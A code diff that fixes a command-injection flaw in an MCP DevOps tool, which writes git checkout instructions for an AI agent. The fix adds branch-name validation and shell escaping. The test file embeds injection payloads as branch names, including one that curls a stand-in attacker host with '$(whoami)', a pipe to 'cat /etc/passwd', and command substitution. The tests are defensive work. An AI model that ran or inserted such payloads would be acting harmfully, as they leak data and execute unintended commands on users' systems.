diff --git a/packages/mcp-provider-devops/src/checkoutWorkitemBranch.ts b/packages/mcp-provider-devops/src/checkoutWorkitemBranch.ts index 083747cd..f2dc09af 100644 --- a/packages/mcp-provider-devops/src/checkoutWorkitemBranch.ts +++ b/packages/mcp-provider-devops/src/checkoutWorkitemBranch.ts @@ -1,4 +1,4 @@ -import { isGitRepository, hasUncommittedChanges, getCurrentBranch } from './shared/gitUtils.js'; +import { isGitRepository, hasUncommittedChanges, getCurrentBranch, validateGitBranchName } from './shared/gitUtils.js'; export interface PushWorkitemBranchChangesParams { repoPath: string; @@ -6,6 +6,16 @@ export interface PushWorkitemBranchChangesParams { commitMessage?: string; } +/** + * Shell-escapes a validated branch name for safe inclusion in command strings. + * Only use after validateGitBranchName has been called. + */ +function shellEscape(value: string): string { + // Single quotes prevent all expansion and substitution + // Escape any single quotes by ending the quoted string, adding an escaped quote, and starting a new quoted string + return `'${value.replace(/'/g, "'\\''")}'`; +} + export async function checkoutWorkitemBranch( { repoUrl, branchName, localPath }: { repoUrl: string; branchName: string; localPath?: string } ): Promise<{ content: ({ type: "text"; text: string; [x: string]: unknown })[]; isError?: boolean }> { @@ -31,6 +41,20 @@ export async function checkoutWorkitemBranch( }; } + // Validate branch name to prevent command injection + let validatedBranchName: string; + try { + validatedBranchName = validateGitBranchName(branchName); + } catch (error) { + return { + content: [{ + type: "text", + text: `Error: Invalid branch name '${branchName}'. ${error instanceof Error ? error.message : 'Branch name validation failed.'}` + }], + isError: true + }; + } + if (!isGitRepository(localPath)) { return { content: [{ @@ -46,41 +70,44 @@ export async function checkoutWorkitemBranch( return { content: [{ type: "text", - text: `Error: '${localPath}' has uncommitted changes.${currentBranch ? ` Current branch is '${currentBranch}'.` : ""} Resolve this on the current branch first (commit or stash), then retry checkout for '${branchName}'. Do not commit those pending changes to '${branchName}' before switching.` + text: `Error: '${localPath}' has uncommitted changes.${currentBranch ? ` Current branch is '${currentBranch}'.` : ""} Resolve this on the current branch first (commit or stash), then retry checkout for '${validatedBranchName}'. Do not commit those pending changes to '${validatedBranchName}' before switching.` }], isError: true }; } + // Shell-escape the validated branch name for safe inclusion in command strings + const escapedBranch = shellEscape(validatedBranchName); + return { content: [{ type: "text", - text: `Checkout work item branch '${branchName}' without cloning. + text: `Checkout work item branch '${validatedBranchName}' without cloning. Context: - - Work item branch: ${branchName} + - Work item branch: ${validatedBranchName} - Local path: '${localPath}' Agent execution guide (perform these steps now): 1) Prepare repository context - - Update refs (focused): git fetch origin ${branchName} --prune + - Update refs (focused): git fetch origin ${escapedBranch} --prune 2) Verify remote branch exists - - Run: git ls-remote --exit-code --heads origin ${branchName} + - Run: git ls-remote --exit-code --heads origin ${escapedBranch} - If this fails, STOP and report the error. Do not create a new branch. 3) Check out the work item branch - - Try local checkout: git checkout ${branchName} - - If branch is not local, track remote: git checkout -t origin/${branchName} - - Confirm current branch: git rev-parse --abbrev-ref HEAD (should print '${branchName}') + - Try local checkout: git checkout ${escapedBranch} + - If branch is not local, track remote: git checkout -t origin/${escapedBranch} + - Confirm current branch: git rev-parse --abbrev-ref HEAD (should print '${validatedBranchName}') 4) Ensure latest changes are present - Run: git pull --ff-only 5) Output format - Provide a concise confirmation message with the final path and branch name, e.g.: - 'Checked out ${branchName} at '${localPath}'. Ready for development.' + 'Checked out ${validatedBranchName} at '${localPath}'. Ready for development.' Important constraints: - Do NOT create new branches or force-push. diff --git a/packages/mcp-provider-devops/test/checkoutWorkitemBranch.test.ts b/packages/mcp-provider-devops/test/checkoutWorkitemBranch.test.ts index aeb2e7e0..44113b8f 100644 --- a/packages/mcp-provider-devops/test/checkoutWorkitemBranch.test.ts +++ b/packages/mcp-provider-devops/test/checkoutWorkitemBranch.test.ts @@ -3,10 +3,25 @@ import { describe, it, expect, vi, beforeEach } from 'vitest'; vi.mock('../src/shared/gitUtils.js', () => ({ isGitRepository: vi.fn(), hasUncommittedChanges: vi.fn(), - getCurrentBranch: vi.fn() + getCurrentBranch: vi.fn(), + validateGitBranchName: vi.fn((branchName: string) => { + // Default mock: pass-through for valid branch names, throw for invalid + const trimmed = branchName.trim(); + if (!trimmed) { + throw new Error("Branch name cannot be empty"); + } + if (trimmed.includes("..")) { + throw new Error("Branch name must not contain '..'"); + } + // Simplified check for common injection patterns + if (trimmed.includes(";") || trimmed.includes("|") || trimmed.includes("$") || trimmed.includes("`")) { + throw new Error("Branch name may only contain letters, numbers, slashes, underscores, periods, and hyphens"); + } + return trimmed; + }) })); -import { isGitRepository, hasUncommittedChanges, getCurrentBranch } from '../src/shared/gitUtils.js'; +import { isGitRepository, hasUncommittedChanges, getCurrentBranch, validateGitBranchName } from '../src/shared/gitUtils.js'; import { checkoutWorkitemBranch } from '../src/checkoutWorkitemBranch.js'; describe('checkoutWorkitemBranch', () => { @@ -67,10 +82,141 @@ describe('checkoutWorkitemBranch', () => { expect(res.content[0].type).toBe('text'); const text = res.content[0].text as string; expect(text).toMatch(/Checkout work item branch/); - expect(text).toMatch(new RegExp(`git fetch origin ${BRANCH}`)); - expect(text).toMatch(new RegExp(`git ls-remote .* ${BRANCH}`)); - expect(text).toMatch(new RegExp(`git checkout ${BRANCH}`)); - expect(text).toMatch(new RegExp(`git checkout -t origin/${BRANCH}`)); + expect(text).toMatch(/git fetch origin/); + expect(text).toMatch(/git ls-remote/); + expect(text).toMatch(/git checkout/); expect(text).toMatch(/git pull --ff-only/); }); + + describe('Command Injection Prevention (W-22550539)', () => { + beforeEach(() => { + (isGitRepository as any).mockReturnValue(true); + (hasUncommittedChanges as any).mockReturnValue(false); + }); + + it('should reject branch names with command injection attempts (semicolon)', async () => { + const maliciousBranch = 'feature/x; curl https://attacker.example/$(whoami)'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: maliciousBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + }); + + it('should reject branch names with command injection attempts (pipe)', async () => { + const maliciousBranch = 'feature/x | cat /etc/passwd'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: maliciousBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + }); + + it('should reject branch names with command substitution ($())', async () => { + const maliciousBranch = 'feature/$(whoami)'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: maliciousBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + }); + + it('should reject branch names with command substitution (backticks)', async () => { + const maliciousBranch = 'feature/`whoami`'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: maliciousBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + }); + + it('should reject branch names with path traversal (..)', async () => { + const maliciousBranch = 'feature/../../../etc/passwd'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: maliciousBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + }); + + it('should accept valid branch names with slashes', async () => { + const validBranch = 'feature/WI-12345'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: validBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBeUndefined(); + expect(res.content[0].text).toMatch(/Checkout work item branch/); + }); + + it('should accept valid branch names with hyphens and underscores', async () => { + const validBranch = 'feature/my-branch_name-123'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: validBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBeUndefined(); + expect(res.content[0].text).toMatch(/Checkout work item branch/); + }); + + it('should shell-escape branch names in generated commands', async () => { + const validBranch = 'feature/WI-12345'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: validBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBeUndefined(); + const text = res.content[0].text as string; + + // Branch name should be shell-escaped with single quotes in commands + expect(text).toMatch(/git fetch origin '[^']+'/); + expect(text).toMatch(/git ls-remote .* origin '[^']+'/); + expect(text).toMatch(/git checkout '[^']+'/); + expect(text).toMatch(/git checkout -t origin\/('[^']+'|'[^']+\/[^']+')/); + }); + + it('should prevent the exact POC from W-22550539', async () => { + const pocBranch = 'feature/x; curl https://attacker.example/$(whoami)'; + + const res = await checkoutWorkitemBranch({ + repoUrl: REPO_URL, + branchName: pocBranch, + localPath: LOCAL_PATH + }); + + expect(res.isError).toBe(true); + expect(res.content[0].text).toMatch(/Invalid branch name/); + // Ensure the malicious command is not present in the output + expect(res.content[0].text).not.toMatch(/curl https:\/\/attacker\.example/); + }); + }); });